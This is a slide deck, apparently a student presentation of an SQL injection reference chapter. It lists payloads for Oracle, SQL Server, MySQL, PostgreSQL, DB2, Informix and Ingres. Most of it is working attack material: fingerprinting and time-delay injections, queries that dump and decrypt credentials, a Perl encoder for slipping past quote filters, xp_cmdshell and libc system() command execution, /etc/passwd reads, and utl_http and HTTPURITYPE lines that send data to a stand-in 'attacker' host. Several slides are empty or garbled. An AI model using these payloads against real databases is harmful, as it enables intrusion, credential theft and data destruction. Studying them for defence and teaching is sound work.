references - sql injection

Prepared by :-1) Mohammed Zeinelabdeen.2) Mohammed Siddig Ahmed .3) Omer Salih Dawood.

CHAPTER 10

OVER VIEW

• Structured Query Language (SQL) .

• SQL Injection Quick Reference.

• Bypassing Input Validation Filters.

• Troubleshooting SQL Injection Attacks.

• SQL Injection on Other Platforms.

CHAPTER 10 2

3CHAPTER 10

Structured Query Language (SQL)

• SQL was originally developed at IBM in early1970.

• Formalized until 1986 by American NationalStandards Institute (ANSI).

• We using the SQL standard defined by the International Organization for Standardization (ISO).

CHAPTER 10 4

SQL Queries

• SQL queries are made up of one or more SQL statementsthat are effectively instructions for the database server tocarry out. it may include a conditional clause to targetspecific rows in a table(WHERE). The OR and AND operatorsare used when multiple conditions are to be evaluated.

• SELECT Statement– SELECT * FROM tblUsers ;– SELECT * INTO hackerTable FROM tblusers

• UNION Operator– SELECT username, password FROM tblUsers UNION SELECT

username, password FROM tblAdmins;– SELECT username, password FROM tblUsers UNION ALL SELECT

username, password FROM tblAdmins

CHAPTER 10 5

SQL Queries (CON..)

• INSERT Statement

– INSERT IN TO tblUsers VALUES (5,'john','smith',0);

– INSERT INTO tblUsers(id, username, password, priv) VALUES (5, 'john','smith',0);

• UPDATE Statement

– UPDATE tblUsers SET priv=0 WHERE username = 'sarah‘;

• DELETE Statement

– DELETE FROM tblUsers WHERE username = 'admin‘;

CHAPTER 10 6

SQL Queries (CON..)

• Notes from the Underground…

– SELECT story FROM news WHERE id=19;

– SELECT story FROM news WHERE id=19 OR 1=1 ;

– SELECT story FROM news WHERE id=19 OR 1=2 ;

– UPDATE tblUsers SET password='letmein' WHEREemailaddress='[email protected]‘;

– UPDATE tblUsers SET password='letmein' WHERE emailaddress=‘ ’ or 1=1’ ;

CHAPTER 10 7

SQL Queries (CON..)

• DROP Statement

– DROP TABLE tblusers;

• CREATE TABLE Statement

– CREATE TABLE shoppinglist(item int, name varchar(100));

– CREATE TABLE shoppinglist as select * from dba_users;

• ORDER BY Clause

– SELECT cost, product FROM orders ORDER BY cost DESC;

CHAPTER 10 8

SQL Queries (CON..)

• ALTER TABLE Statement– ALTER TABLE tblUsers ADD comments

varchar(100);

– ALTER TABLE tblUsers DROP COLUMN comments;

– ALTER TABLE tblUsers ALTER COLUMN comments varchar(500);

• GROUP BY Statement– SELECT customer,SUM(cost) FROM orders WHERE

customer = 'Anthony Anteater‘ GROUP BY customer;

CHAPTER 10 9

SQL Queries (CON..)• Limiting the Result Set

10CHAPTER 10

11CHAPTER 10

SQL Injection Quick Reference

• most common SQL queries and techniques we will need when exploiting an SQL injection vulnerability

– identify the database platform.

– SQL injection cheat sheet

12CHAPTER 10

Identifying the Database Platform

• Web server platform and scripting language.

– IIS + ASP.NET => SQLServer .

– APACHE + PHP => MySQL .

– …. Etc.

But we need more scientific approach ……

13CHAPTER 10

Identifying the Database Platform

• Time Delay Inference– is a long-standing method of identifying the database

platform.

• OR .. submitting “heavy queries” designed to consume the processor for a measureable length of time.

Platform Time delay

MySQL SLEEP(10) , BENCHMARK(1000000,MD5("HACK"))

Oracle BEGIN DBMS_LOCK.SLEEP(5);END;

SQL Server WAITFOR DELAY '0:0:10'

Postgres SELECT pg_sleep(10)

14CHAPTER 10

identify the database

Platform Concatenation Line Comments

A Unique Default Table

SQL Server 'string1' + 'string2' -- sysobjects

Oracle 'string1' || 'string2' concat(string1,string2)

-- dual

MySQL concat('str1','str2') # information_schema.tables

Access "string1" & "string2" N/A msysobjects

Postgres 'string1' || 'string2' -- pg_user

Ingres 'string1' || 'string2' -- iitables

DB2 "string1" + "string2" -- sysibm.systables

• SQL Dialect Inference

15CHAPTER 10

identify the database

• For example …

– if we suspect that the database platform is either Microsoft SQL Server or Oracle

‘ AND ‘ ahmed’ || ‘ali’ = ‘ahmedali’--

‘ AND ‘ahmed’ + ‘ali’ = ‘ahmedali’--

16CHAPTER 10

Combining Multiple Rows

• only one column and one row can be returned at a time.

• To bypass this restriction it is possible to concatenate all rows and columns into a single string.

17CHAPTER 10


• Examples …

SELECT GROUP_CONCAT(user) FROM

mysql.user;

-- returns a comma separated list of users.

18CHAPTER 10


– SELECT sys.stragg (distinct username||';') FROM all_users;

-- Returns all usernames on a single line

19CHAPTER 10

Cheat sheets

• a quick reference of common SQL statementsused in SQL injection attacks against ORACLEand MySQL.

20CHAPTER 10

Cheat Sheet

• PHP and Ruby on Rails applications.

• Configuration Information and Schema

21CHAPTER 10

Cheat Sheet

22CHAPTER 10

Attacking the Database Server

• System Command Execution– It is possible to execute operating system

commands by creating a malicious script file on the target server

•

•

23CHAPTER 10

• Cracking Database Passwords– extract user password hashes from the mysql.user

table.• SELECT concat(user,":",password) FROM mysql.user

– Password hashes can then be cracked using – http://hashcrack.com/– www.openwall.com/john/


24CHAPTER 10

http://hashcrack.com/

• Attacking the Database Directly

– execute code by directly connecting to the MySQL server and creating a user-defined function.

– we can download a tool to perform this attack

• Windows: ww.scoobygang.org/HiDDenWarez/mexec.pl

• Windows:www.0xdeadbeef.info/exploits/raptor_winudf.tgz


25CHAPTER 10

• File Read/Write– The MySQL LOAD_FILE function returns a string

containing the contents of a specified file.

– The database user requires the file_priv privilege to invoke this function.•

- we can use a tool called SqlDumper to read file contents via blind SQL injection


26CHAPTER 10

Cheat Sheet

27CHAPTER 10

Cheat Sheet

28CHAPTER 10

Cheat Sheet

29CHAPTER 10


• there are two different types of injection in ORACLE

– traditional SQL injection

• only a single SQL statement.

– PL/SQL injection

• execute entire PL/SQL blocks.

30CHAPTER 10

• More than 100 Oracle tables contain password information.

• Sometimes the passwords are available as clear text.

Cracking Database Passwords

31CHAPTER 10

• select view_username, sysman.decrypt(view_password) from sysman.mgmt_view_user_credentials;


32CHAPTER 10

• select credential_set_column, sysman.decrypt(credential_value) from sysman.mgmt_credentials2;

CHAPTER 10 33


• Oracle password hashes can then be cracked using a variety of freely available tools, such as

– Woraauthbf.

– John the Ripper.

– Gsauditor.

– Checkpwd.

– Cain & Abel.

CHAPTER 10 34


35CHAPTER 10

Bypassing Input Validation Filters

• You can bypass input validation filters that rely on rejecting known bad characters and string literals by encoding your input.

• Quote Filters

– The single-quote character (‘) is synonymous with SQL injection attacks.

– The idea behind this approach is to prevent the attacker from breaking out of quote-delimited data.

CHAPTER 10 36

Quote Filters (con…)

• SELECT ‘ABC’

CHAPTER 10 37

Quote Filters (con…)

• Microsoft SQL Server also allows you to build your query within a variable and then call EXEC to execute it.

• SELECT ‘ABC’ into it via a HEX-encoded string:DECLARE @q varchar(8000)

SELECT @q=0x53454c454354202741424327

EXEC(@q)

• You can use the following Perl script toautomatically encode SQL statements using thistechnique:

CHAPTER 10 38

Quote Filters (con…)#!/usr/bin/perl

print "Enter SQL query to encode:";

$teststr=<STDIN>;chomp $teststr;

$hardcoded_sql =

'declare @q varchar(8000) '.

'select @q=0x*** '.

'exec(@q)';

$prepared = encode_sql($teststr);

$hardcoded_sql =∼s/\*\*\*/$prepared/g;

print "\n[*]-Encoded SQL:\n\n";

print $hardcoded_sql ."\n";

sub encode_sql{

@subvar=@_;

my $sqlstr =$subvar[0];

@ASCII = unpack("C*", $sqlstr);

foreach $line (@ASCII) {

$encoded = sprintf('%lx',$line);

$encoded_command .= $encoded;

}

return $encoded_command;

} CHAPTER 10 39

HTTP Encoding

• You can sometimes bypass input validation filters that reject known bad characters (often referred to as blacklisting).

CHAPTER 10 40

HTTP Encoding (con…)

41CHAPTER 10

HTTP Encoding (con…)

42CHAPTER 10

Troubleshooting SQL Injection Attacks:

Table lists some of the common challenges and errors that

are frequently encountered when attempting to exploit an

SQL injection flaw across various platforms.

Error/Challenge Solution

ChallengePerforming a UNION SELECTattack where the originalquery is retrieving a columnof type imageError MessageImage is incompatiblewith int /The image data type cannotbe selected as DISTINCTbecause it is not comparable.

Change your UNION SELECT statement toread UNION ALL SELECT. This resolves theproblem with UNION SELECT attempting toperform a compare operation against animage data type.For example:UNION ALL SELECT null, null, null

CHAPTER 10 44


Challenge

Injecting into an ORDER BY

Clause Your injected data is being

placed to the right-hand side

of an ORDER BY clause. Many

of the usual tricks such as

UNION SELECT will be

unsuccessful.

attacker’s data is

your injection point:

SELECT * FROM

products GROUP BY

attackers_data DESC

Microsoft SQL Server

Microsoft SQL Server supports stacked

queries using the semicolon character (;) to

begin each new query. A variety of attacks,

such as time-delay-based data retrieval and the execution

of extended stored procedures,

can be conducted in this way.

ORDER BY 1; EXEC master..xp_cmdshell 'cmd'

Microsoft SQL Server can also be exploited

to return query result data via error messages.

When injecting into an ORDER BY clause the

following syntax can be used:

ORDER BY (1/(@@version));

-- return the version

ORDER BY 1/(SELECT TOP 1 name FROM

sysobjects WHERE xtype='U');

-- Return name from sysobjects

MySQL Server :Time-delay-based blind SQL injection techniques can be used within an ORDER BY clause. example will trigger a time delay if the current user is root@ localhost:ORDER BY(IF((SELECT user()='root@localhost'),sleep(2),1)); 45CHAPTER 10


ChallengeUtl_http does not workbecause the public privilegewas removed.Error MessageORA-00904 invalid identifier

OracleThe utl_http package can be used to establish outbound HTTP connections over any Transmission Control Protocol (TCP) port of the attacker’s choosing. The followingORDER BY clause establishes an HTTP connection over port 1000 to the host attacker; the HTTP request contains the Oracle version banner within the request path:ORDER BY utl_http.request('http://attacker:1000/'||( SELECT banner FROM v$version WHERE rownum=1))The following ORDER BY clause will raise an error containing the Oracle version banner:ORDER BY utl_inaddr.get_host_name ((select banner from v$version where rownum=1))

Many Oracle security guides recommend that the public privilege be removed from the utl_http package. However, many overlook the fact that the object typeHTTPURITYPE can be used to achieve the same aim and is also accessible to public.SELECT HTTPURITYPE( 'http://attacker:1000/'|| (SELECTbanner FROM v$version WHERE rownum=1)).getclob() FROM dual 46CHAPTER 10


ChallengeUtl_inaddr does not work.There could be variousreasons, such as accesscontrol lists (ACLs) inVersion 11, privilegeshave been revoked, andJava is not installed.Error MessageORA-00904 invalid identifierORA-24247 network accessdenied by access control listACL) – 11gORA-29540 oracle/plsql/net/InternetAddress.

ChallengeYou receive an “illegal mixof collations” messagewhen performing aUNION SELECT attackagainst a MySQL database

Use a different function where you can control the content of the error message.Here is a small list of candidates depending on the database version and its installed components:ORDER BY ORDSYS.ORD_DICOM.GETMAPPINGXPATH((SELECT banner FROM v$version WHERErownum=1),null,null)ORDER BY SYS.DBMS_AW_XML.READAWMETADATA((SELECT banner FROM v$version WHERErownum=1),null)ORDER BY CTXSYS.DRITHSX.SN((SELECTbanner FROM v$version WHERErownum=1),user)ORDER BY CTXSYS.CTX_REPORT.TOKEN_TYPE(user,(SELECT banner FROM v$version WHERERownum=1))Link :

This error can be overcome using the CAST function.For example:UNION SELECT user(),null,null;becomes:UNION SELECT CAST(user() AS char),null,null; 47CHAPTER 10


ChallengeYou receive a “collationconflict” message whenperforming a UNIONSELECT attack against aMicrosoft SQL Serverdatabase.Error MessageCannot resolve collationconflict for column 2 inSELECT statement

One way to overcome this error is to readthe Collation property from the databaseand then use it within the query. In thefollowing example, we are performing aUNION ALL SELECT query to retrieve thename column from the sysobjects table.Step 1: Retrieve the collation value :UNION ALL SELECTSERVERPROPERTY('Collation'),null FROM sysobjectsIn this example, the Collation property isset to SQL_Latin1_General_CP1_CI_AS.Step 2: Implement the collation value:within the UNION SELECTUNION ALL SELECT 1,Name collateSQL_Latin1_General_CP1_CI_AS,nullFROM sysobjects

CHAPTER 10 49

50CHAPTER 10

SQL Injection on Other Platforms.• This section is intended to provide a quick reference for

other, less commonplatforms, such as PostgreSQL, DB2,

Informix, and Ingres.

• PostgreSQL

• Extracting the PostgreSQL Database Configuration Information:Data Query

Version SELECT version()

Current user SELECT getpgusername();SELECT user;SELECT current_user;SELECT session_user;

List users SELECT usename FROM pg_user

Current user privileges SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user

Database server host name

SELECT inet_server_addr();

51CHAPTER 10

Data Query

Current database SELECT current_database();

List databases SELECT datname FROM pg_database;

List tables SELECT c.relname FROM pg_catalog.pg_class c LEFT JOINpg_catalog.pg_namespace n ON n.oid = c.relnamespaceWHERE c.relkind IN ('r','‘)AND pg_catalog.pg_table_is_visible(c.oid)AND n.nspname NOT IN ('pg_catalog', 'pg_toast');

List columns SELECT relname,A.attname FROM pg_class C,pg_namespace N, pg_attribute A, pg_type T WHERE(C.relkind='r') AND (N.nspname = 'public‘) AND (A.attrelid=C.oid) AND (N.oid=C.relnamespace) AND (A.atttypid=T.oid) AND(A.attnum>0) AND (NOT A.attisdropped);

Extracting the PostgreSQL Database Schema :

CHAPTER 10 52

Blind Sql injection Function :

• Attacking the Database Server: PostgreSQL• PostgreSQL does not offer a built-in procedure for executing operating system

commands it is possible to import functions such as system() from an external .dll or

Shared Object (.so) file.

• System Command Execution:

• import the system function from the standard UNIX libc library:

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS

'/lib/libc.so.6„,'system' LANGUAGE 'C' STRICT;

• The system function can then be called by executing the following SQL query:

SELECT system('command');

Data Query

String length LENGTH()

Extract substring from a given string SUBSTRING(string,offset,length)

String (‘ABC’) representation with no single quotes

SELECT CHR(65)||CHR(66)||CHR(67);

Trigger time delay SELECT pg_sleep(10);-- Triggers a 10 second pause on version 8.2 and above

53CHAPTER 10

• Local File Access:

Local files can be read by the superuser account using

the following SQL:

CREATE TABLE filedata(t text);

COPY filedata FROM '/etc/passwd'; --

• It is also possible to write local files using the following SQL:

CREATE TABLE thefile(evildata text);

INSERT INTO thefile(evildata) VALUES ('some evil data');

COPY thefile (evildata) TO '/tmp/evilscript.sh';

• Cracking Database Passwords :

PostgreSQL passwords are hashed using the MD5 algorithm:

select usename||':'||passwd from pg_shadow;

CHAPTER 10 54

DB2 Cheat Sheet :

The DB2 database server from IBM is perhaps one of the

least popular database platforms to find integrated with a

Web application.

Extracting the PostgreSQL Database Configuration Information:

Data Query

Version SELECT versionnumber, version_timestamp FROM sysibm.sysversions;

Current user SELECT getpgusername();SELECT user;SELECT current_user;SELECT session_user;

List users SELECT grantee FROM syscat.dbauth;

Current user privileges SELECT * FROM syscat.dbauth WHERE grantee =user;SELECT * FROM syscat.tabauth WHERE grantee =user;SELECT * FROM syscat.tabauth; 55CHAPTER 10

Data Query

Current database SELECT current server FROM sysibm.sysdummy1;

List databases SELECT schemaname FROM syscat.schemata;

List tables SELECT name FROM sysibm.systables;

List columns SELECT name, tbname, coltype FROM sysibm.syscolumns;

Extracting DB2 Database Schema :


Data Query


Extract substring from a given string

SUBSTRING(string,offset,length) FROMsysibm.sysdummy1;


SELECT CHR(65)||CHR(66)||CHR(67);

CHAPTER 10 56

Informix Cheat Sheet :

The Informix database server is distributed by IBM and is

not commonly encountered when compared to other

database platforms.

Extracting the Informix Database Configuration Information:

Data Query

Version SELECT DBINFO('version', 'full') FROM systables WHEREtabid = 1;

Current user SELECT USER FROM systables WHERE tabid = 1;

List users select usertype,username, password from sysusers;

Current user privileges select tabname, tabauth, grantor, grantee FROM systabauthjoin systables on systables.tabid = systabauth.tabid

Database server host name SELECT DBINFO('dbhostname') FROM systables WHERE tabid=1;

CHAPTER 10 57

Data Query

Current database SELECT DBSERVERNAME FROM systables WHERE tabid = 1;

List databases SELECT name, owner FROM sysdatabases;

List tables SELECT tabname FROM systables;SELECT tabname, viewtext FROM sysviews join systables on systables.tabid = sysviews.tabid;

List columns SELECT tabname, colname, coltype FROM syscolumns join systableson syscolumns.tabid = systables.tabid;

Extracting Informix Database Schema :


Data Query



SELECT SUBSTRING('ABCD' FROM 4 FOR 1) FROMsystables where tabid = 1;-- returns 'D'


SELECT CHR(65)||CHR(66)||CHR(67) FROM systableswhere tabid = 1;

58CHAPTER 10

Ingres Cheat Sheet :

The Ingres database is an open source database available for all major

operating systems.Ingres is one of the least popular databases to find

integrated with a Web application.

Extracting the Ingres Database Configuration Information:

Data Query

Version SELECT dbmsinfo('_version');

Current user SELECT dbmsinfo('system_user');SELECT dbmsinfo('session_user');

List users SELECT name, password FROM iiuser;

Current user privileges select tabname, tabauth, grantor, grantee FROM systabauthjoin systables on systables.tabid = systabauth.tabid

Database server host name SELECT dbmsinfo('select_syscat');SELECT dbmsinfo('db_privileges');SELECT dbmsinfo('current_priv_mask');SELECT dbmsinfo('db_admin');SELECT dbmsinfo('security_priv');SELECT dbmsinfo('create_table');SELECT dbmsinfo('create_procedure');

59CHAPTER 10

Data Query

Current database SELECT dbmsinfo('database');

List tables SELECT relid, relowner, relloc FROM iirelation WHERErelowner != '$ingres';

List columns SELECT column_name, column_datatype, table_name,table_owner FROM iicolumns;

Extracting Ingres Database Schema :


Data Query



SELECT substr(string, offset, length); --


SELECT chr(65)||chr(66)||chr(67)

CHAPTER 10 60

Microsoft Access :

Microsoft Access databases do not scale well with enterprise

applications, and thereforeare usually encountered only

when the application has minimal database requirements.

Brett Moore of insomniasec.com has published an excellent

paper on SQL injection with Microsoft Access which you

can find here:

www.insomniasec.com/publications/Access-Through- Access.pdf

CHAPTER 10 61

http://www.insomniasec.com/publications/Access-Through-







Resources :

SQL Injection White Papers

“Advanced SQL Injection” by Victor Chapela:

www.owasp.org/index.php/Image:Advanced_SQL_Injection.ppt

“Advanced SQL Injection in SQL Server Applications” by Chris Anley:

www.ngssoftware.com/papers/advanced_sql_injection.pdf

“Buffer Truncation Abuse in .NET and Microsoft SQL Server” by GaryO‟Leary-Steele:

http://scanner.sec-1.com/resources/bta.pdf

“Access through Access” by Brett Moore:

www.insomniasec.com/publications/Access-Through-Access.pdf

“Time-Based Blind SQL Injection with Heavy Queries” by Chema Alonso:

http://technet.microsoft.com/en-us/library/cc512676.aspx

SQL Injection Cheat Sheets

PentestMonkey.com SQL injection cheat sheets for Oracle, Microsoft SQL Server,

MySQL, PostgreSQL, Ingres, DB2, and Informix:

http://pentestmonkey.net/cheat-sheets/

Michaeldaw.org SQL injection cheat sheets for Sybase, MySQL, Oracle, PostgreSQL, DB2,

and Ingres:

http://michaeldaw.org/sql-injection-cheat-sheet/

Ferruh Mavituna cheat sheets for MySQL, SQL Server, PostgreSQL, and Oracle:

http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

Ferruh Mavituna cheat sheets for Oracle:

http://ferruh.mavituna.com/oracle-sql-injection-cheat-sheet-oku/62CHAPTER 10

http://www.owasp.org/index.php/Image:Advanced_SQL_Injection.ppt

SQL Injection Exploit Tools

• BSQL Hacker is a relatively new player in the SQL injection exploit world. The tool is a Windows-based GUI application that supports Microsoft SQL Server, Oracle, and MySQL. BSQL Hacker supports blind and error-based SQL injectiontechniques:

http://labs.portcullis.co.uk/application/bsql-hacker/

• The Sec-1 Automagic SQL injection (SASI) tool is a Microsoft SQL Server exploit tool written in Perl:

http://scanner.sec-1.com/resources/sasi.zip




Password Cracking Tools

• Cain & Abel:

www.oxid.it

• Woraauthbf:

www.soonerorlater.hu/index.khtml?article_id=513

Solutions Fast Track :

• Structured Query Language (SQL) Primer:• SQL comprises a feature-rich set of statements, operators, and

clauses designed to interact with a database server. The mostcommon SQL Statements are SELECT,INSERT, UPDATE, DELETE, andDROP. The majority of SQL injection vulnerabilities occur when user-supplied data is included with the WHERE Clausem portion of aSELECT statement.

• The UPDATE and DELETE statements rely on a WHERE clause to determine which records are modified or deleted. When injecting SQL into either an UPDATE or a DELETE statement it is important to understand how your input could affect the database. Avoid injecting OR 1=1 or any other condition that returns true into either of these statements.

references - sql injection

Education